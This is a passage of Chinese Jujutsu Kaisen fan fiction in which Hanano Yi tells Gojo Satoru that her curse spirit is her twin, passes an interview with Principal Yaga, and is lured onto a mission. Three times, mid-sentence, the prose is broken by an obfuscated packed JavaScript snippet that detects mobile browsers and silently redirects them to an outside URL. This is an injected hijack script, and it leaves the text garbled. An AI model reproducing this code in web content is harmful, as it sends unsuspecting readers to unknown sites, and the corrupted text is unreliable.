“对啊,实战是最好的学习嘛。”五条悟安慰他们。 “放心,我会在旁边看着的,悠仁和野蔷薇去祓除里面的咒灵,小依——” 他看向花野依。 “因为昨天已经了解了你的实力,今天你就在下面看着学习。” 花野依点点头,她确实什么都不会,能看着学习已经很好了。 野蔷薇和虎杖往建筑里走去。 花野依和伏黑站在一起,抱着噗噗,小心翼翼地观察着周围,她能感觉到,建筑里有咒力的波动,很微弱,但确实存在。 “左边。”她下意识地说出口。 伏黑惠一愣转头看她,“什么?”他问。 “咒力……在房子的左边……”花野依小声说,“有……有咒灵……” “你怎么知道的?”伏黑惠有些疑惑,看向花野依胸前抱着的噗噗,是这个咒灵的能力吗? 花野依低下头“就……就是能感觉到……”,说完她又补充一句,“我的感觉。” 没一会儿一只咒灵从建筑里飞出来,似乎有穿墙的能力,花野依有些纠结在想要不要帮一帮野蔷薇他们。 “不用哦”,五条悟看向她说。 下一秒,那只咒灵就在空中爆炸了,没过多久野蔷薇和虎杖就吵吵闹闹的走出来了。 花野依看着他们的样子,心里有些羡慕,她什么时候才能像他们那样自在的吵闹? 任务结束后,五条悟带着他们去了一家餐馆。 “庆祝一下今天的成功。”他点了一大桌子菜,“我请客。” “哇,五条老师请客!”虎杖悠仁眼睛都亮了,“那我就不客气了!” “随便吃!”五条悟大手一挥,几个人围坐在餐桌前,一边吃一边聊。 钉崎野蔷薇时不时会问她一些问题,你喜欢吃什么?你家在哪里?你那个咒灵平时怎么养的? 花野依能感觉到每次她回答的时候,钉崎野蔷薇都会认真地听。 这让花野依慢慢有了说话的勇气,“我……我其实很害怕……” 她小声说,“今天早上起来看到五条老师在我家,我差点吓死了……” 虎杖悠仁笑出声:“哈哈哈,我能想象!” “那你现在还怕吗?”钉崎野蔷薇问。 花野依想了想,看了一眼坐在对面正在大快朵颐的五条悟。 “有……有一点……”她小声说,“但好像……没那么怕了……” “为什么?” “因为,”花野依犹豫了一下,“老师好像其实是个好人……” 话音刚落,五条悟突然抬起头:“谁在夸我?” 花野依吓了一跳,赶紧低下头。 几个人都笑了。 花野依虽然很不好意思,这种感觉好像不坏,和这些人在一起,好像不坏。 4. 第四章 通往面谈室的路途比花野依想象中更长,或许是因为她的每一步都踩在不安的鼓点上。 就在几分钟前,五条悟轻描淡写地抛出了“入学测试”这四个字,像一颗石子投入她本就波澜起伏的心湖,激起的涟漪迅速扩散成惊涛骇浪。 “测、测试?”花野依的声音不自觉拔高了一点,又迅速低下去,像是被自己的音量吓到,“是要考……咒术的知识吗?还是实战什么的……” 她脑子里飞速闪过自己那点可怜的知识储备——她小时候能看到奇怪的东西,但奶奶看不见所以只是叮嘱她不要乱说。 父亲留下的日记里确实提到过一些咒术相关的事情,但那些记录更像是私人化的呓语,东一句西一句,根本不成体系,如果真的要考理论知识,她大概连第一题都答不出来。 “别担心,”虎杖悠仁注意到她骤然紧绷的肩膀,笑着安慰道,“五条老师说的测试应该就是和校长面谈吧?我之前也被面谈过,只要认真回答问题就好,不是什么很难的事情。” “没错没错,悠仁说得对,”五条悟走在最前面,头也不回地挥了挥手,“就是随便聊聊天,放松点。” 花野依刚想松一口气,却发现五条悟突然停下脚步,转过身来,那双被墨镜遮住的眼睛似乎在打量着什么东西,然后她意识到,他在看她怀里的噗噗。 “好了,接下来就是分头行动的时间,”五条悟说着,毫无预兆地伸出手,一把将噗噗从花野依怀里捞走, “惠、悠仁、野蔷薇,你们帮花野同学把行李送到宿舍去。” 噗噗猝不及防地被一只大手拎起来,短小的四肢在空中慌乱地挥舞,发出困惑的“噗叽噗叽”声。 花野依下意识地伸手想把它抢回来,却被五条悟另一只手轻轻按住肩膀,顺势将她带向另一条走廊的方向 “等、等等——”花野依被迫迈开步子,却还在回头看向噗噗,眼神里满是担忧和不舍 “行李?” 钉崎野蔷薇接过被五条悟随手甩过来的噗噗,愣了一下,看着怀里这个圆滚滚、短手短脚的植物咒灵,又看了看五条悟推着花野依远去的背影,眉毛微微挑起,“所以行李在它肚子里?” “噗叽。”噗噗眨了眨黑豆般的眼睛,像是在回答 “它说什么?”虎杖悠仁凑过来,好奇地打量着噗噗 “我怎么知道。” 钉崎野蔷薇翻了个白眼,但还是小心翼翼地调整了一下抱噗噗的姿势,让它待得更舒服一点,“不过五条这家伙可真会安排人——走吧,先去找宿舍。” 噗噗趴在钉崎野蔷薇怀里,依然扭着短短的脖子,努力看向花野依离开的方向,发出一声小小的、委屈的“噗叽” 花野依仿佛感应到什么,脚步顿了一下,却只听到五条悟在耳边说:“别担心,它跟着野蔷薇她们很安全,倒是你,面谈室快到了。” 她咬了咬嘴唇,最终还是转过头来。 走廊的光线渐渐变得柔和,夕阳从侧面的窗户斜射进来,在地面投下长长的光影。 五条悟的步伐不快,但花野依几乎是被他半推着往前走,那种不容拒绝的姿态让她想起早上在自己家里的场景。 这个人似乎从来不懂得什么叫边界感,也不觉得自己的行为有什么不妥。 “对了!” 五条悟松开放在花野依肩膀上的手,突然开口,语气随意得像是在聊今天天气不错,“早上和你奶奶聊了一会儿,她跟我说了些你小时候的事情。” 花野依愣了一下,抬头看向他 “你奶奶说,你是一岁半的时候被你爸爸带回来的,”五条悟向前走着继续说,声音在空旷的走廊里带着一点回音 “在此之前六年,你爸爸一直处于失踪状态,突然就带着你回来了,然后过了两个月,他出车祸去世了。” 花野依低下头,看着自己的脚尖一步步往前移动,这些事她都知道,但从别人嘴里听到,还是有种奇异的感觉,像是在听一个陌生人的故事。 “奶奶没见过你妈妈,”五条悟侧过头看了她一眼,“所以关于你母亲的事,她什么都不知道。” “嗯,”花野依轻声应道,“我对爸爸也没什么印象,毕竟那时候太小了。反而是妈妈……” 她顿了顿,似乎在组织语言 “反而是妈妈,虽然也记不清脸了,但总觉得印象更深一些。”她的声音很轻, “这么多年过去了,有时候做梦还会梦到她,但醒来就什么都想不起来了,只有一个模糊的感觉——很温暖,很安心。” 五条悟没有说话,只是继续往前走 “你奶奶是普通人,”过了一会儿,他才开口,“所以你那些咒术天赋,很大能是遗传自你母亲那边。” 花野依点点头,这她早就猜到了 “不过,”五条悟话锋一转 “我之前就有点好奇,提到咒术师啊咒术高专啊这些事情的时候,你好像没有特别惊讶,虽然也会害怕会紧张,但那种‘这世界上居然有咒术师’的震惊感,你完全没有,是之前就知道什么吗?” 花野依沉默了几秒,然后小声说:“爸爸留了一本日记。” “日记?” “嗯,里面记录了一些关于妈妈的事情。” 花野依的手指无意识地绞在一起,“虽然大部分都看不懂,但有一些提到了咒术啊诅咒啊什么的……所以我知道,这个世界上有一些普通人看不见的东西,也知道有人专门处理这些事情。” 五条悟挑了挑眉:“日记里还写了什么?” “写了……”,花野依犹豫了一下 “写了他和妈妈怎么认识的,怎么在一起的,但写得乱七八糟的,有时候像是在说梦话,有时候又很清醒,我也不确定哪些是真的哪些是假的。” “明白了。”五条悟点点头,没再多问 两人继续往前走了一段,花野依以为这个话题就这样结束了,却听到五条悟突然用一种轻快的语气说: “说起来,你和那只叫噗噗的咒灵,关系很不一般吧?” 花野依的脚步顿了一下 “共生关系,咒力共享,”五条悟说得轻描淡写,像是在陈述一个再普通不过的事实 “而且不是那种主人和式神的契约关系,是真正的共生,你们两个的咒力是同一个源头,甚至可以互相调用。” 花野依猛地抬起头,难以置信地看着他 “你、你怎么……” “眼睛啊,”五条悟指了指自己被墨镜遮住的部分 “六眼——你可以理解成一种特殊的视力,能看穿术式,探知咒力,还能进行精密的咒力操作,所以你那些小秘密,在我这儿可藏不住。” 他说这话的时候语气依然轻松,甚至还带着一点笑意,仿佛只是在说一件微不足道的小事 花野依却感觉自己的心脏被猛地攥紧了——她最大的秘密,就这样被人轻飘飘地揭开了,像揭开一个不起眼的盖子 她沉默了很久 走廊里只剩下两个人的脚步声,一下一下,规律而清晰 五条悟也不催她,就那么不紧不慢地走着,等着 终于,花野依开口了 “其实……”她的声音有些颤抖,但还在努力维持着平稳,“其实不只是共生。” “哦?” “更准确的说法,应该是……”花野依深吸一口气,像是在下一个很大的决心,“双胞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471627|201513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胎。” 五条悟的脚步终于停下来了 他转过身,面朝着花野依,虽然隔着墨镜,但她能感觉到那双眼睛正带着前所未有的专注看着她。 “双胞胎?”他重复了一遍这个词 “嗯……”话已出口,花野依反而觉得没那么难了 “爸爸的日记里有一些线索……我猜,妈妈应该是那种可以被咒灵受孕的人。” 她说得很慢,一边说一边观察着五条悟的反应,像是在确认自己有没有说错什么 “然后,”她继续说下去 “我和噗噗,应该是由同一个受精卵分裂成的——就像人类的同卵双胞胎一样,只不过在最初分裂的时候,一个分裂成了人类,另一个分裂成了……” 她顿了顿,看向远处,声音更轻了:“另一个分裂成了咒灵。” 走廊里陷入了短暂的沉默 夕阳的光线透过窗户,在地上投下橙红色的光影。有细小的灰尘在光柱中漂浮、旋转,像是某种无声的见证 不止这么简单,但五条悟没有立刻说话 他站在那里,逆着光,花野依看不清他的表情,只能看到他被夕阳勾勒出的轮廓——高挑的身形,微垂的头,以及那副永远摘不下来的墨镜 过了好几秒,他才开口 “有意思。”他的语气和之前不太一样了,虽然还是那副漫不经心的调子,“太有意思了。” 他转过身,继续往前走,这一次步伐慢了一些,像是在思考什么,花野依跟在他身后,不知道他这反应是好是坏 “所以,”五条悟突然又开口,“你把这些都告诉我,不怕我说出去?” 花野依愣了一下,然后小声说:“可是……是您问的……” 五条悟笑了一声,“你……真是没什么心机,别人稍微一问,你就一骨碌全倒出来了。” 花野依低下头,有些窘迫,她确实是这样,从小就是这样,奶奶说她这样容易吃亏,但她总是改不掉。 “不过,”五条悟接着说,语气又恢复了往日的轻快,“这样也挺好。” 两人继续往前走,穿过一道门,又拐过一个弯,终于在一扇深色的木门前停下 “到了” 花野依抬起头,看着面前这扇门,门很普通,和走廊里其他的门没什么区别,但此刻在她眼里,却像是一道通往未知世界的关口 五条悟侧过身,阳光正好从他身后的窗户照进来,在他脸上投下明暗分明的光影。 光线勾勒出他棱角分明的轮廓,高挺的鼻梁,微微上扬的嘴角,还有那副永远遮住眼睛的墨镜 他伸出手,将墨镜缓缓推下去,露出一双眼睛 花野依的呼吸停了一瞬 是一双璀璨得不像话的眼睛,光线在那双眼睛里流转、折射,仿佛那不是眼睛,而是两颗被精心切割的宝石,每一道光芒都吸人心魄。 “听好,” 五条悟开口,声音和之前完全不同,不再有那种玩世不恭的轻佻,不再有那种漫不经心的随意,而是低沉、严肃、带着一种不容置疑的分量 “你和噗噗的关系,不要告诉任何人。” 花野依怔怔地看着他 “任何人”他重复了一遍,“同学不行,其他老师不行,以后遇到的任何人都不行,这是你的秘密,也只能是你的秘密。” 他的眼神在那一刻变得很深,花野依张了张嘴,想问为什么,但对上那双眼睛,话就堵在了喉咙里。 五条悟看了她一会儿,语气又恢复了几分往日的轻快,“真是让人不放心啊。” 他转过身,敲了敲身后的门 “进去吧,校长在里面等你,好好回答问题,别紧张。” 5. 第五章 花野依推开那扇深色木门时,室内昏暗的光线让她有一瞬间的眩晕,并非因为看不清,而是因为看清之后所产生的那种微妙的困惑。 一个身形魁梧得近乎压迫的男人正坐在昏暗的灯光前,手里捏着一根毛毡针,专注地戳着一团粉色的羊毛。 那团羊毛在他粗大的手指间逐渐成型,隐约能看出是一只……小熊?或者兔子?总之是个毛茸茸的、与他的体型形成荒诞反差的小东西。 她很想问一句“您这是在做什么”,但残存的理智和从小被教导的礼貌让她把这句话咽了回去,只是规规矩矩地在门口站定,双手交叠在身前,微微鞠躬: “夜蛾校长好,我是花野依。” 那个男人抬起头来,露出带着几分威严的面孔,如果不是他手里还捏着那只半成品的毛毡小动物,花野依大概会被他的气势震慑得说不出话。 夜蛾校长打量了她一眼,目光在她纤细的肩胛和略显苍白的脸颊上停留了一瞬,那眼神像是打量又像是审视。 “坐吧。” 他指了指对面的椅子,同时放下手里的毛毡工具,将那只半成品收进抽屉里。 花野依依言落座,双手规规矩矩地放在膝盖上,背挺得笔直,像一株被风吹得有些摇晃却努力站稳的纤细植物。 她能感觉到夜蛾校长的目光在她身上停留,那目光不凌厉,却带着一种让人无处遁形的穿透力。 夜蛾校长开口,声音低沉而平稳,像是深潭里缓缓流动的水。 “你为什么来咒术高专?” 这个问题来得直接,没有任何铺垫,花野依愣了一下,手指下意识地攥紧了裙摆的布料,她不太明白这个问题背后的含义。 难道不是五条老师先斩后奏地帮她办了转学手续再邀请她来高专,为什么还要问为什么来? 但既然问了,就要回答 “我……” 她开口,声音很轻,像是在试探自己是否被允许说话,“我想以后能开一家花店。” 夜蛾校长没有说话,只是看着她,示意她继续。 “但是”,花野依低下头,看着自己绞在一起的手指, “我有这个能力……就是能看到那些东西,能使用那些力量,我不了解它,也不明白它,它让我很不安。” 她顿了顿,像是在组织语言,“所以我想来学习,想知道这是什么,想知道怎么控制它。 等我学会了,等我毕业了,我想……想安心地去开一家花店。” 她说完,抬起头,有些忐忑地看向夜蛾校长,不知道这个答案是对是错。 夜蛾校长沉默了几秒,那张不苟言笑的脸上看不出任何情绪变化。 但眼底深处有什么东西松动了像是原本绷紧的弦被轻轻拨动,发出一声只有他自己能听见的微响。 来咒术高专的学生,大多会给出两种回答: 一种是“我想保护他人”“我想消灭诅咒”“我想为这个世界做点什么” 这种答案听起来崇高,但往往经不起现实的推敲。 另一种是“我想变强”“我想证明自己”“我想获得力量” 这种答案更真实,也更能支撑一个人在黑暗中走下去。 花野依给出的,是第三种。 她想开一家花店,她想安心地活着。 不是为了别人,不是为了什么伟大的理想,只是为了她自己,为了她能像一个普通人那样,过完普通的一生。 这个答案,合格了。 “很好” 夜蛾校长语气依然是那种波澜不惊的平稳,“你的答案,我收到了,从今天起,你就是咒术高专的一年级学生。” 花野依眨了眨眼,似乎没料到这么简单就通过了,愣了两秒才反应过来,连忙站起来鞠躬:“谢、谢谢校长!” “去吧,”夜蛾校长摆了摆手,“五条在外面等你。” 花野依转身走向门口,手刚碰到门把手,就听到身后传来夜蛾校长的声音。 “花野同学。” 她回过头。 夜蛾校长看着她,眼神复杂,像是有什么话想说,最后只是微微颔首:“好好学。” 花野依点点头,推门出去。 门在身后合上的那一刻,夜蛾校长重新拿出那只半成品的粉色毛毡兔子,捏着针继续戳了起来,他的动作很慢,像是在思考什么。 “开一家花店,”他喃喃自语,声音低得只有自己能听见,“倒是个不错的愿望。” 门外,五条悟靠在走廊的墙上,双手抱臂视线看向远处,微光照在他脸上,勾勒出一个漫不经心的轮廓。 但并没有真的在看风景,他的视线落在虚空中的某一点,脑子里转着的,是另一回事。 花野依,这个女孩身上,有太多值得注意的地方。 首先是她隐藏自己的能力这一点,一个拥有咒术天赋的孩子。 从一岁半开始就能看见咒灵,却在十五年间从未暴露过自己,这其中的隐忍和自制力非常人所有。 她不是张扬的类型,更不是会把能力挂在嘴边炫耀的人。 她是会把自己缩在角落里、尽量不引起任何人注意的存在,这种心性,在一年级这四个孩子里,恐怕是最能“忍”的那个。 但另一方面,她又能为了救虎杖悠仁,毫不犹豫地暴露自己隐藏了十五年的能力。 这很不妙啊—— 这意味着她不是为了自保可以袖手旁观的人,在她心里,有些东西比隐藏自己更重要。 如果她在意的人遇到危险,她会不顾一切地冲出去,哪怕暴露自己,或者陷入险境。 这份义气,放在普通人身上是美德,放在咒术师身上…… 五条悟垂下眼睫,微光在他脸上投下一小片冷白色的光影。 他想起了另一个人。 相信着“保护弱者”的信念,相信着咒术师存在的意义就是守护那些无法守护自己的。 但最后他选择了一条完全相反的路。 五条悟闭了闭眼,那个身影在他脑海中一闪而过。 他睁开眼睛,那画面已经消散,只剩下走廊里昏黄的灯光和面前这扇紧闭的门。 “麻烦啊,”他轻轻叹了口气,声音低得像是自言自语,“就算是GTG,也觉得有点棘手啊!” GTG——Great Teacher Gojo,他给自己封的称号,带着几分自嘲,也带着几分认真。 他想做个好老师,想把这三个孩子,不对,现在是四个了,平平安安地教出来,让他们走一条不一样的路。 但花野依这个孩子,她的路从一开始就和别人不一样。 扑朔迷离的身世,看似共生关系实则为双胞胎的咒灵,“可以为朋友豁出去”的性格。 这些东西加在一起,就像一颗埋在地里的种子,谁也不知道会长出什么样的花。 是开出绚烂的花朵,还是长出带刺的荆棘? 或者更糟,变成某种会吞噬她自己的东西? 正想着,面前的木门被推开了。 花野依从面谈室里走出来,一眼就看到靠在墙边的五条悟。 他依然保持着那个慵懒的姿势,手里拿着手机,但那双被墨镜遮住的眼睛,此刻正定定地看着她。 和之前那个看不懂空气、自大又随性的五条悟判若两人。 花野依被这目光钉在原地,一时间不知道该往前走还是该往后退,只觉得自己的心跳突然快了起来。 像是被什么大型食肉动物盯上的小动物,浑身汗毛都竖了起来。 她下意识地打量自己,有什么不对吗?衣服穿反了?脸上沾了什么东西? 借着走廊里昏黄的光,她能看清五条悟墨镜边缘露出的一点侧脸轮廓。 看不清他的表情,只能感觉到那道目光从墨镜后面穿透过来,落在她身上,带着某种她读不懂的状况。 目光从她头顶的发旋开始,缓慢地向下移动,掠过她披散在脸颊两侧的黑发,头发柔软而乖巧,像是最听话的那种学生才会有的发型。 掠过她纤细的肩膀和瘦弱的身形,瘦弱近乎单薄,校服穿在身上显得有些空荡。 掠过她裸露在袖口外的手腕,手腕细得像是轻轻一折就会断掉,皮肤白得近乎透明,透着一种不健康的、缺少日照的苍白。 目光继续向下,又返回来,落在她的脸上。 是一张典型的十五岁少女的脸,虽然瘦弱,但脸颊两侧还带着这个年纪特有的婴儿肥,软软的,鼓鼓的,像是刚出笼的白面馒头,又像是—— 五条悟的思维在这里拐了个弯。 像是大福,那种外面裹着糯米皮、里面包着红豆馅的日式点心,软软糯糯的,咬一口会陷下去,甜而不腻。 尤其是她现在这副紧张的样子,嘴唇因为不安而被自己咬住,下唇陷在齿间。 两边的脸颊肉更加明显地鼓起来,圆滚滚的,让人很想伸手去戳一戳,看看会不会像大福一样弹回来。 花野依被这沉默的注视弄得越来越不安,终于忍不住开口:“那、那个……我有什么不对吗?” 五条悟没有立刻回答,只是看着她,嘴角慢慢弯起一个弧度,那种弧度花野依已经有点熟悉了,是他要说什么不着调的话之前的预兆。 “没有,”他说,语气轻快得像是刚才那个深沉思考的人不是他,“就是觉得你看起来像大福!” 花野依:…… 大福? 她低头看了看自己,瘦得跟竹竿似的,哪里像那种圆滚滚的点心了? “走吧,”五条悟收起手机,直起身,“去吃大福!” 花野依愣了一下,连忙摇头:“不、不用了,我想先回宿舍……” “可是我想吃嘛~” 五条悟打断她,语气里带着一种奇怪的调子,不是命令,也不是请求,更像是……撒娇? 花野依怀疑自己的耳朵出了问题。 她抬头看向五条悟,发现他正歪着头看她,墨镜后面的眼睛虽然看不清,但整个人的姿态都散发着一种“陪我嘛陪我嘛”的气息。 一个一米九的成年男性,用这种姿态对着一个十五岁的女孩,画面之诡异让花野依的嘴角忍不住抽了抽。 “而且是我请 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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花野依不知道该怎么接话,只能被他推着往前走。 走廊尽头是一扇通向户外的门,推开之后,傍晚的凉风扑面而来。 天边还剩最后一抹橙红色的余晖,像是被谁用画笔在天幕上抹了一道,浓淡不均,渐渐融入渐深的夜色里。 门口停着一辆黑色的轿车,一个穿着西装、戴着眼镜的男人站在车旁。 他的手里正抱着噗噗,看到他们出来,把手里的噗噗递给花野依,微微鞠躬:“五条先生,花野同学。” “噗叽!”,噗噗高兴的声音。 “谢谢!”,花野依道谢着接过噗噗。 “伊地知,久等了!”五条悟拉开后座的车门,非常“绅士”地对花野依做了个“请”的手势。 花野依看了他一眼,又看了看车里宽敞的后座,最后还是老老实实地钻了进去。 五条悟从另一边上车,坐在副驾驶,车门关上,车子缓缓启动,驶入渐浓的夜色里。 花野依透过车窗,看着窗外陌生的街景一一掠过,路灯的光芒在玻璃上投下流动的光影。 她想起刚才面谈时夜蛾校长问的那个问题——为什么来咒术高专? 她想开一家花店,想安心地活着。 这算是一个好答案吗? 她不知道,但既然校长说合格了,那应该就是合格了吧? “在想什么?”五条悟的声音从前面传来。 花野依转过头,发现他正侧着头看她,墨镜后面的眼睛虽然看不清,但那个姿态,像是在认真等待她的回答。 她犹豫了一下,小声说:“在想……我的答案,对不对。” “答案?什么答案?” “夜蛾校长问我的那个问题,为什么来咒术高专。” 五条悟挑了挑眉:“你怎么回答的?” “我说……我想以后开一家花店。”花野依的声音更轻了,像是怕被嘲笑。 “因为我有这个能力,但我不知道它是什么,所以想来学习,等学会了,等毕业了,我想安心地去开花店。” 五条悟沉默了几秒,然后突然笑了起来,不是那种敷衍的笑,而是真的被逗笑了的那种,肩膀都在抖。 花野依有些窘迫,不知道自己的答案哪里好笑了。 “开花店,”五条悟笑够了,终于停下来,语气里还带着笑意,“这个答案,夜蛾一定很喜欢。” “诶?” “因为够真实,”五条悟说 “不是为了别人,不是为了什么大义,就是为了你自己。咒术师这条路不好走,如果不是为了自己,根本走不下去。” 他说这话的时候,语气里有一瞬间的停顿,像是想起了什么刻意绕开了某处。 花野依没有注意到那个停顿,只是听着他的话,心里某个地方悄悄松了下来。 原来,她的答案,是对的。 车子继续往前开,窗外的灯火越来越密集,越来越明亮,花野依不知道他们要去哪里,但那种“不知道”里,第一次有了一点期待。 有这个看不懂空气、自大又随性、但偶尔又会让人觉得安心的老师在,也许,咒术高专的生活,不会那么可怕。 6. 第六章 花野依觉得自己还是太嫩了,就在几个小时前,她才被这个男人的“撒娇”骗上了车。 当时他就已经安排好了伊地知在门口等着,根本没有给她拒绝的余地。 她居然还是天真地相信了五条悟真的会在大晚上带她去吃大福! 换作其他人,深夜带学生出去吃点心这种事情确实显得不合常理。 但五条悟这个人,从他第一次出现在她家门口、若无其事地和奶奶聊天并擅自帮她办好转学手续开始。 花野依就应该明白,他本就是那种可以做出任何不合常理之事的人。 深夜带学生去吃甜点,不打招呼就登门拜访,把学生的咒灵随手扔给另一个学生然后推着学生去面谈。 这些事放在他身上,简直再正常不过。 但她还是太嫩了! 她居然真的以为,这一趟只是为了大福! 汽车平稳地行驶在夜晚的街道上,窗外的灯火璀璨如星河倒映。 起初花野依还怀着几分期待,可渐渐地,她发现那些灯火开始变得稀疏,街道开始变得陌生。 车窗外的景色从繁华的市区过渡到了安静的住宅区,又从住宅区过渡到了人烟稀少的郊外…… 不安的种子在她心里悄悄发芽。 她偷偷看了一眼坐在副驾驶座上的五条悟。 他靠在椅背上,双手交叠在身前,墨镜遮住了大半张脸,只能看到嘴角微微上扬的弧度,那个笑容看起来那么无害,那么放松,完全看不出任何异样。 不妙…… 花野依的心跳开始加快。 非常不妙! 当汽车彻底驶离了最后一片居民区,开上一条两侧全是漆黑树林的山路时。 花野依终于忍不住了,她不安地抱紧了怀里的噗噗,深吸一口气,努力让自己的声音听起来不那么疑惑: “那、那个……伊地知先生……” 开车的男人从后视镜里看了她一眼,那眼神里带着一丝惊讶,仿佛没想到她会主动开口。 “大福店……还有多久能到?”花野依问得很小心,声音轻得像怕惊扰到什么 伊地知的表情僵住了。 那一瞬间的僵硬太过明显,明显到花野依想忽略都做不到,她看到伊地知的嘴唇张了张,又闭上,又张了张,发出一些含糊不清的音节: “这个……那个……呃……” 他额头上似乎有什么东西在反光。 那是汗。 花野依的心沉了下去。 就在这时,副驾驶座传来一个慵懒的声音:“唔——到了吗?” 五条悟伸了个懒腰,慢悠悠地从椅背上直起身,转过头来看向花野依,那张脸上带着刚睡醒的迷糊,但嘴角的笑意却怎么看怎么可疑。 “我们去的呀,”他语气夸张得像是在宣布什么天大的好消息。 “是一家温泉店哦!听说那里的温泉馒头非——常好吃!” 花野依愣住了。 温泉店…… 温泉馒头…… 不是大福店,是温泉店。 也就是说,从一开始,他的目标就不是大福,而是温泉馒头? 也就是说,他从一开始就没打算只带她去吃个点心那么简单? 花野依张了张嘴,发现自己想吐槽的点实在太多,多到不知道从哪里开始才好。 他为什么要用大福来骗她而不是直接说温泉馒头? 温泉馒头和大福到底有什么区别值得他这么拐弯抹角? 为什么吃温泉馒头需要开车开到深山老林里…… “那个……” 伊地知战战兢兢的声音从驾驶座传来,打断了花野依混乱的思绪。 “五条先生,您……您没有给花野同学解释,我们这次是去做您的任务的吗?” 车内陷入了短暂的寂静…… 花野依的眼睛慢慢睁大。 任务! 五条老师的任务!!! 她转过头,看向五条悟,发现那个人正若无其事地看着窗外,仿佛什么都没有发生。 “五条老师,”花野依开口,声音比平时大了那么一点点,“你做任务,为什么要带上我?” 五条悟回过头,露出一个无辜的笑容:“因为你是我的学生啊,带学生见识一下世面不是很正常吗?” “可、可是……” “而且温泉馒头真的很好吃,我没骗你!” “可是您说的是大福!” “大福和温泉馒头都是点心,差不多差不多~” 花野依深吸一口气。 又深吸一口气。 她发现自己胸口有什么东西在往上涌,那是一种陌生的感觉。 像是憋了很久的气终于找到了出口,在她体内发酵、膨胀、即将冲破某种她从未意识到的藩篱。 “哪里差不多了!”她听到自己的声音,比刚才又大了几分 “大福是糯米皮包馅,温泉馒头是蒸的那种,完全不一样! 而且您说带我来吃大福,结果是带我来做出任务,这是欺骗!是欺诈!是……是……” 她卡住了,一时想不出更严重的词。 五条悟饶有兴致地看着她,嘴角的弧度越来越大。 “而且,” 花野依继续往下说,脸颊不知何时开始发烫,她能感觉到那种热度从耳根蔓延到两颊,像是有什么东西在她体内燃烧。 “您就算要带我来做任务,也应该提前告诉我啊! 我还以为真的是去吃大福,一路上都在想大福是什么味道,结果开到了深山老林里,您知道我刚才有多害怕吗! 我以为要被卖掉了!我以为您是人贩子!我以为……” “人贩子?”五条悟重复了一遍这个词,语气里带着明显的笑意。 “对!人贩子!”花野依用力点头,完全没有意识到自己在说什么。 “大晚上的,把学生骗到深山老林里,不是人贩子是什么!” “可是我长得这么帅,怎么会是人贩子呢?” “这跟帅不帅有什么关系!” “有关系啊,人贩子一般都长得比较猥琐。” 花野依被这个逻辑噎住了。 “而且,”五条悟继续往下说,语气愈发无辜。 “我真的是带你来吃温泉馒头的啊,只是顺便做个任务而已~任务做完,温泉馒头照样吃,不是一样吗?” “哪里一样了!” “哪里不一样?” 花野依张了张嘴,又闭上,她发现自己根本说不过这个人但她不想就这么认输。 “反正……反正您应该提前告诉我的!” 她憋了半天,憋出这么一句话,“您不告诉我,就是欺骗!就是……就是……” “就是什么?” “就是骗子!” 这话一出,车内安静了一瞬。 花野依自己都愣住了,她居然在指责老师,她居然—— 但话已出口,收不回来了,她梗着脖子,硬着头皮,看向五条悟。 那张脸上,依然挂着那种让人捉摸不透的笑容,但不知为何,那笑容里似乎多了一点什么? 不是生气。 不是不耐烦。 更像是……满意? “说完了?”五条悟问。 花野依下意识地点点头,又赶紧摇摇头。 “说、说完了……不对,还没说完……但是……” “但是什么?” “但是……”花野依的声音又小了下去,那股莫名其妙涌上来的勇气开始消退。 “但是……您能告诉我……我们到底是去做什么任务吗?” “祓除咒灵,”他语气轻松。 “一家温泉旅馆里出现了咒灵,等级不低,正好适合带你去练练手。” 花野依的心又提了起来。 “练、练手?” “放心,有我在,你死不了。”五条悟转回身,重新靠进椅背里。 “就当是第一次实战课,感受一下咒术师的工作是什么样的。” 花野依沉默了几秒,然后小声嘟囔:“可是……我还是想吃大福……” 五条悟笑出声来。 笑声在安静的车厢里回荡,带着一种奇异的感染力,让花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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那双眼睛在那一刻终于不再是躲闪的、畏惧的、随时准备缩回去的,而是亮晶晶的,像是有火焰在里面燃烧。 他想起了几个小时前,面谈室外的走廊上,他看着花野依时得出的那些结论,隐忍,重情义,可以为朋友豁出一切,这些都没错,但他漏掉了一点。 她也会生气。 她也会抱怨。 她也会在被人欺负的时候,哪怕是被老师“欺负”,鼓起勇气反抗。 虽然那反抗笨拙得很,抓不住重点,说着说着自己先没了底气,但那是真实的,是发自内心的,是她本来面目的一部分。 这是一件好事。 她开始把他当成一个可以抱怨、可以顶撞、可以理直气壮地说“您做错了”的对象。意味着她在逐渐放下对他的戒备。 五条悟的笑意更深了一点。 这条路还很长。 这个孩子身上还有太多他不知道的东西,她那谜一样的出身,她那奇怪的双胞胎的咒灵。 还有那隐藏在怯懦外表下的真实性格,这些东西,需要慢慢发掘,慢慢引导,慢慢让她自己学会面对。 至少,第一步已经迈出去了,她不再怕他了,或者说不再那么怕他了。 “五条老师,”后座传来花野依的声音,小小的,带着几分犹豫,“我们还有多久能到?” “快了,”五条悟说,“怎么,着急吃温泉馒头了?” “不是……”花野依的声音更小了,“就是……有点紧张……” 五条悟从后视镜里看了她一眼,那个瘦小的女孩抱着那个圆滚滚的咒灵,整个人缩在座椅里,像一只试图把自己藏起来的小动物。 “紧张什么?” “第一次……做任务……”花野依说,“我怕……怕做不好……” “做不好很正常,”五条悟的语气轻松带着一丝揶揄,“惠第一次出任务还差点被咒灵吞了呢!” “诶?伏黑同学也……” “对啊,所以你别有压力,反正有我在,你就算把整个温泉旅馆炸了,我也能把你捞出来!” 